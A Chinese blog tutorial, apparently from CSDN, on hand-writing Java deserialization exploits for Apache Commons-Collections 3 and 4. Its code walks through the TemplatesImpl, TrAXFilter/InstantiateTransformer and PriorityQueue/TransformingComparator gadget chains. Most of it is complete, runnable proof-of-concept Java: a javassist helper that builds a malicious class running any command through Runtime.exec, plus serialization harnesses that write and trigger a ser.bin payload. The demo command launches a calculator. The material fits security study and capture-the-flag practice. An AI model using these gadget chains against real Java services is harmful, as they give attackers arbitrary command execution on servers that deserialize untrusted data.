Commons-Collections3 , Commons-Collections4反序列化 从0开始手写exp

cc3

关于类的动态加载执行恶意代码

java基础知识中我们学到了一些ClassLoader.defineClass加载

其实这里是ClassLoader这个类会递归,最终调用到defineClass

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6lZu3JAT-1649725376829)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411155257616.png)]

defineclass

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Oy6VxQK0-1649725367797)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411155226113.png)]

只做类加载不会执行代码的,所以要找个初始化的地方

那必须是使用它并重写它,public的地方

最终找到在这里

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lkPzX7R7-1649725253416)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411155832275.png)]

然后

    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

由于没有指出作用域,所以这个函数默认只能在这个包里面使用

查找这个’ defineClass’注意英文前面有个空格

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qtUb2HpY-1649725253417)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411161129916.png)]

private void defineTransletClasses()

私有方法,看看谁调用了它

image-20220411161226853

有3个

逐一解释,先看前两个

private void defineTransletClasses()先返回了一个类(如下图)

image-20220411161515460

getTransletClasses

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vM9og7I2-1649725253421)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411161544214.png)]

也就是返回一个初始化的类

最后一个

private Translet getTransletInstance()

比较神奇

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DkowOGzL-1649725253421)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411161811952.png)]

一个是它不少返回初始化类,另一个是它有newInstance,假如能够让初始化了恶意代码的类执行这个函数,就可以newInstance的时候使他执行

可惜是private,继续找谁调用了

image-20220411162018555

有个public,那我们思路清晰了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MSftudOW-1649725253423)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411163730984.png)]

写TemplateImp

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

然后还要满足下面这些

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NuA3LMoN-1649725253424)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411165419002.png)]

image-20220411165424087

image-20220411165427661

所以改为

TemplatesImpl templates = new TemplatesImpl();

Class tc  = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);

templates.newTransformer();

里面的

byte[] code = Files.readAllBytes(Paths.get(“D://tmp/classes/test.class”));
byte[][] codes = {code};
bytecodesField.set(templates,codes);

注意了,是在这里加载恶意类

test,class

package org.apache.commons.collections;

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

不过经过调试,由于里面代码的需要

image-20220411172218797

这个恶意类必须继承 AbstractTranslet 接口

前面加载了恶意类之后这里有两个判断,第一个判断是判断这个类的父类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,如果不是那么 _transletIndex 会被赋值为 - 1 并且进入下面的 if 语句从而报错 所以恶意类需要继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类 接着看 _tfactory 的赋值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-okqasxcZ-1649725253427)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411173810707.png)]

它是一个 transient 变量,说明直接给值是不行的,那就直接到 readObjcet 看看

最终test.class

image-20220411175326062

不过我们也可以用平时打比赛的恶意类(更好,因为序列化后字节长度更短)

public static byte[] getTemplatesImpl(String cmd) {
    try {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody(" try {\n" +
                " Runtime.getRuntime().exec(\"" + cmd +
                "\");\n" +
                " } catch (Exception ignored) {\n" +
                " }");
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    } catch (Exception e) {
        e.printStackTrace();
        return new byte[]{};
    }
}

最终poc

package org.apache.commons.collections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ccone {
    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }


    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        templates.newTransformer();

    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xld3q1gy-1649725253430)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411175416238.png)]

由此我们得出结论:

  • 可以利用类的动态加载来执行恶意代码

image-20220411175626713

cc1对它的使用

poc

package org.apache.commons.collections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ccone {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }


    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }


    public static void main(String[] args) throws Exception
    {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        //templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                //new ConstantTransformer(Runtime.class),
                new ConstantTransformer(templates),
//                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
//                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                new InvokerTransformer("newTransformer", null,null)
        };

        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");


    }
}

image-20220411180852352

cc3的前半段

templates.newTransformer();

之前cc1的前半段就是为了替代它的功能(外加一个可以被序列化),所以这里挖链子要先找谁调用了newTransformer

  • TemplatesImpl.getOutputProperties
    

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OFYwgBda-1649725253433)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411200049390.png)]

待定

  • TransformerFactoryImpl.newTransformer
    
public Transformer newTransformer(Source source) throws
    TransformerConfigurationException
{
    final Templates templates = newTemplates(source);
    final Transformer transformer = templates.newTransformer();
    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }
    return(transformer);
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3MhF4YvM-1649725253434)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411200457838.png)]

看了下构造函数很难传参

  • TrAXFilter的构造函数
    
public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

这个解决了难以传参的问题,但是看了一下没有实现序列化接口,不过先留着,之前构造cc1的思路就是看看有没有谁调用它

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X3WZkjc0-1649725253435)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411201017873.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ECUoegZs-1649725253436)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411201024032.png)]

参考了cc3的作者,原来是他创造性的发现了这个

InstantiateTransformer

他实现了序列化接口

public class InstantiateTransformer implements Transformer, Serializable 

而在他的构造方法下面有transform(iArgs)

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

构造函数可控

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YqMXwwep-1649725253437)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411201659192.png)]

非常理想

所以思路就是InstantiateTransformer.transform->TrAXFilter的构造函数->newInstance

写poc

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

目前的poc

public static void main(String[] args) throws Exception
{
    TemplatesImpl templates = new TemplatesImpl();
    setValue(templates,"_name", "aaa");

    byte[] code = getTemplatesImpl("calc");
    byte[][] bytecodes = {code};
    setValue(templates, "_bytecodes", bytecodes);
    setValue(templates,"_tfactory", new TransformerFactoryImpl());

    //templates.newTransformer();

    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    instantiateTransformer.transform(TrAXFilter.class);
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Ra4qemy-1649725253437)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411202801889.png)]

然后接上一个用于序列化的东西,例如hashmap.lazymap都行(就是把之前cc1或者cc6的前面部分黏贴过来)

HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, instantiateTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstruct.setAccessible(true);
Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A4KfrGkY-1649725253438)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411203822609.png)]

image-20220411204000563

序列化行,反序列化不行

bug和之前cc1一样,还是不得不用上

Transformer[] transformers = new Transformer[]{
...
}

较完整的demo

package org.apache.commons.collections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ccone {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }


    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }


    public static void main(String[] args) throws Exception
    {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        //templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transformers = new Transformer[]{
                //new ConstantTransformer(Runtime.class),
                new ConstantTransformer(TrAXFilter.class),
//                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
//                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                instantiateTransformer
        };
//
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);

//        serialize(o);
        unserialize("ser.bin");
//
//        InstantiateTransformer

    }
}

注释是为了和之前的链子进行比较

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aPnNL3cb-1649725253441)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411204316659.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-46SCrR1y-1649725253442)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411204444159.png)]

对了

视频里面是用的lazymap,其实都行,demo参考miku师傅的

对了

//        setValue(templates,"_tfactory", new TransformerFactoryImpl());

可以不赋值,因为序列化的时候会自动赋值

完整demo

package org.apache.commons.collections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ccone {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }


    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }


    public static void main(String[] args) throws Exception
    {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
//        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        //templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transformers = new Transformer[]{
                //new ConstantTransformer(Runtime.class),
                new ConstantTransformer(TrAXFilter.class),
//                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
//                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                instantiateTransformer
        };
//
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
//
//        InstantiateTransformer

    }
}

这张图,务必熟读

image-20220411205249835

cc4

环境搭建

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

分析

此链后半段基本一样,试图从高版本的入口处进行一个新的链子的书写

试试ChainedTransformer,注意选cc4

image-20220411233725785

注意下载源代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F5spTO9g-1649725253443)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411234722277.png)]

经过对ChainedTransformer的查找用法,这里的compare调用了transform

image-20220411231954244

经过不断搜索可以发现

PriorityQueue

这个是数据结构里面的优先队列

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cOK7QHOp-1649725253445)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411231522782.png)]

他的readObject

image-20220411231648381

跟进红框内的函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zLxkIARN-1649725253446)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411231716856.png)]

image-20220411231740271

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fgJcJsut-1649725253447)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411231816222.png)]

用一张图解释

image-20220411232236095

自己尝试编写的时候呢

会发现一个size不为0的情况

需要添加

priorityQueue.add(1);
priorityQueue.add(2);

但是加完以后呢,加载的时候就自动执行恶意代码了

所以我们需要反射写一个

最终poc

package org.apache.commons.collections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class ccone {

    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

        };

        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        //chainedTransformer.transform(1);
        TransformingComparator ioTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = ioTransformingComparator.getClass();
        Field field = c.getDeclaredField("transformer");
        field.setAccessible(true);
        field.set(ioTransformingComparator,chainedTransformer);

        //serialize(priorityQueue);
        unserialize("ser.bin");
    }
}

image-20220411235730670

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值